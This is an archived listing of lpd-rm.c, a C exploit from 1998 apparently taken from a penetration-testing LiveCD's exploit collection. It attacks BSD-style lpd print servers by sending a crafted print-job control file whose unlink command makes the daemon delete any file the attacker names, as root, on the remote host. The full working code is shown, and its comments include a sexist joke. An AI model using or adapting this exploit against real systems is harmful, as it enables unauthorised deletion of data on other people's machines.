home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / lpd / lpd-rm.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  177 lines

  1. /*
  2. **  lpd-rm.c  : Remove a file by exploiting the BSD-style 'lpd'
  3. **  [Tested on Linux only, YMMV] [Release version]
  4. **  Gus '98
  5. **
  6. **  References: RFC-1179
  7. **  Usage : "lpd-rm <hostname> <printername> <filename>"
  8. **  hi-5s to  : The Army of the 12 Monkeys, #phuk regulars,
  9. **  Gamma and Pr0pane for their help, everyone
  10. **  involved in making 'strace' :)
  11. */
  12.  
  13. #include <stdio.h>
  14. #include <stdlib.h>
  15. #include <unistd.h>
  16. #include <fcntl.h>
  17. #include <sys/socket.h>
  18. #include <sys/types.h>
  19. #include <netinet/in.h>
  20. #include <netdb.h>
  21. #include <errno.h>
  22.  
  23. /* Control codes for commands.   No spaces unless specified  */
  24. #define LPD_RECIEVE_JOB '\2'   /* \2 printername <lf> */
  25. #define CMD_RECIEVE_CONTROL_FILE '\2'  /* \2 size <space> name <lf> */
  26. #define CMD_RECIEVE_DATA_FILE '\3' /* \3 size <space> name <lf> */
  27. #define CMD_CLASSNAME 'C'  /* C classname <lf> */
  28. #define CMD_HOSTNAME 'H'   /* H hostname <lf> */
  29. #define CMD_JOBNAME 'J'/* J jobname <lf> */
  30. #define CMD_PRINTBANNERPAGE 'L'/* L username <lf */
  31. #define CMD_MAIL_WHEN_PRINTED 'M'  /* M username@host <lf> */
  32. #define CMD_SOURCEFILENAME 'N' /* N filename <lf> */
  33. #define CMD_USERNAME 'P'   /* P user-requesting-job <lf> */
  34. #define CMD_UNLINK 'U' /* U filename <lf> */
  35. #define CMD_PRINTFORMATTEDFILE 'f' /* f Filename of pre-formatted text */
  36. #define CMD_PRINTPRFILE 'p'/* p Filename to proccess thru 'pr' */
  37.  
  38. void usage(char *);
  39. int doit(int ,char *,char *, char *);
  40. int openhost (char *);
  41.  
  42. int main (int argc, char *argv[])
  43. {
  44.  
  45.   int port,sock;
  46.   char *host,*printer,*filename;
  47.   port = 0;
  48.   host = printer = filename = NULL;
  49.  
  50.   fprintf(stderr,"'lpd-rm.c' - Gus'98\n");
  51.   if (argc < 4) usage(argv[0]);
  52.  
  53.   if (getuid() != 0)
  54.     {
  55.       fprintf(stderr,"Doh! You need to be root.\n");
  56.       exit(-1);
  57.     }
  58.  
  59.   host = argv[1];
  60.   printer = argv[2];
  61.   filename = argv[3];
  62.   if ((sock = openhost(host)) > 0)
  63.     {
  64.       exit(doit(sock,printer,host,filename));
  65.     }
  66.   else
  67.     {
  68.       exit(sock);
  69.     }
  70. }
  71.  
  72.  
  73. int openhost (char *host)
  74. {
  75.  
  76.   int sock;
  77.   struct hostent *he;
  78.   struct sockaddr_in sa;
  79.   int localport;
  80.   char respbuf[255];
  81.  
  82.   he=gethostbyname(host);
  83.   if(he==NULL)
  84.     {
  85.       fprintf(stderr,"Bad hostname");
  86.       return (-1);
  87.     }
  88.  
  89.   /*
  90.   ** According to the RFC, the source port must be in the range
  91.   ** of 721-731 inclusive.
  92.   */
  93.   srand(getpid());
  94.   localport = 721 + (int) (10.0*rand()/(RAND_MAX+1.0));
  95.  
  96.  
  97.   sock=socket(AF_INET,SOCK_STREAM,0);
  98.  
  99.   sa.sin_addr.s_addr=INADDR_ANY;
  100.   sa.sin_family=AF_INET;
  101.   sa.sin_port=htons(localport);
  102.  
  103.   bind(sock,(struct sockaddr *)&sa,sizeof(sa));
  104.   sa.sin_port=htons(515);
  105.  
  106.   memcpy(&sa.sin_addr,he->h_addr,he->h_length);
  107.   if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0)
  108.     {
  109.       perror("Can't connect");
  110.       return (-1);
  111.     }
  112.   else
  113.     {
  114.       fcntl(sock,F_SETFL,O_NONBLOCK);
  115.     }
  116.   printf("%d : Connected...\n",localport);
  117.   read(sock,respbuf,255);
  118.   fprintf(stderr,": %s\n",respbuf);  /* show 'not allowed to print'
  119.       message, if it comes back */
  120.   return(sock);
  121. }
  122.  
  123. int doit(int sock,char *printer,char *host, char *filename)
  124. {
  125.  
  126.   char hello[255];
  127.   char sendbuf[1024];
  128.   char respbuf[255];
  129.  
  130.   printf("Removing file %s on %s using %s as printer\n",filename,host,printer);
  131.  
  132.   /* Hello Mr LPD. Can I print to <printer> please ? */
  133.   sprintf(sendbuf,"%c%s\n",LPD_RECIEVE_JOB,printer);
  134.   if ((write(sock,sendbuf,strlen(sendbuf)) != (strlen(printer)+2)))
  135.     {
  136.       perror("1 write");
  137.     }
  138.  
  139.   /* Why yes young man, what would you like me to do ? */
  140.   read(sock,respbuf,255);
  141.   /* fprintf(stderr,": %s\n",respbuf); */
  142.   /* Would you be so kind as to carry out the commands in this file
  143.    * as superuser without giving up any priviledges please ?
  144.    */
  145.   sprintf(sendbuf,"%c%s\n%croot\n%cmyjob\n%c%s\n%croot\n%ccfA12\n%c%s\n%c%s",
  146.           CMD_HOSTNAME,host,
  147.           CMD_USERNAME,
  148.           CMD_JOBNAME,
  149.           CMD_CLASSNAME,
  150.           host,
  151.           CMD_PRINTBANNERPAGE,
  152.           CMD_PRINTPRFILE,
  153.           CMD_UNLINK,
  154.           filename,
  155.           CMD_SOURCEFILENAME,
  156.           filename);
  157.  
  158.   /* But of course young feller me lad! Security is for girls! */
  159.   sprintf(hello,"%c%d cfA12\n",
  160.           CMD_RECIEVE_CONTROL_FILE,
  161.           strlen(sendbuf));
  162.   if (write(sock,hello,strlen(hello)) != strlen(hello)) perror("2 write");
  163.   if (write(sock,sendbuf,strlen(sendbuf)+1) != (strlen(sendbuf)+1))
  164.     {
  165.       perror("3 write");
  166.     }
  167.   sleep(3);
  168.   shutdown(sock,2);
  169.   return (0);
  170. }
  171.  
  172. void usage (char *name)
  173. {
  174.   fprintf(stderr,"\tUsage: %s host printer filename\n",name);
  175.   exit(1);
  176. }
  177.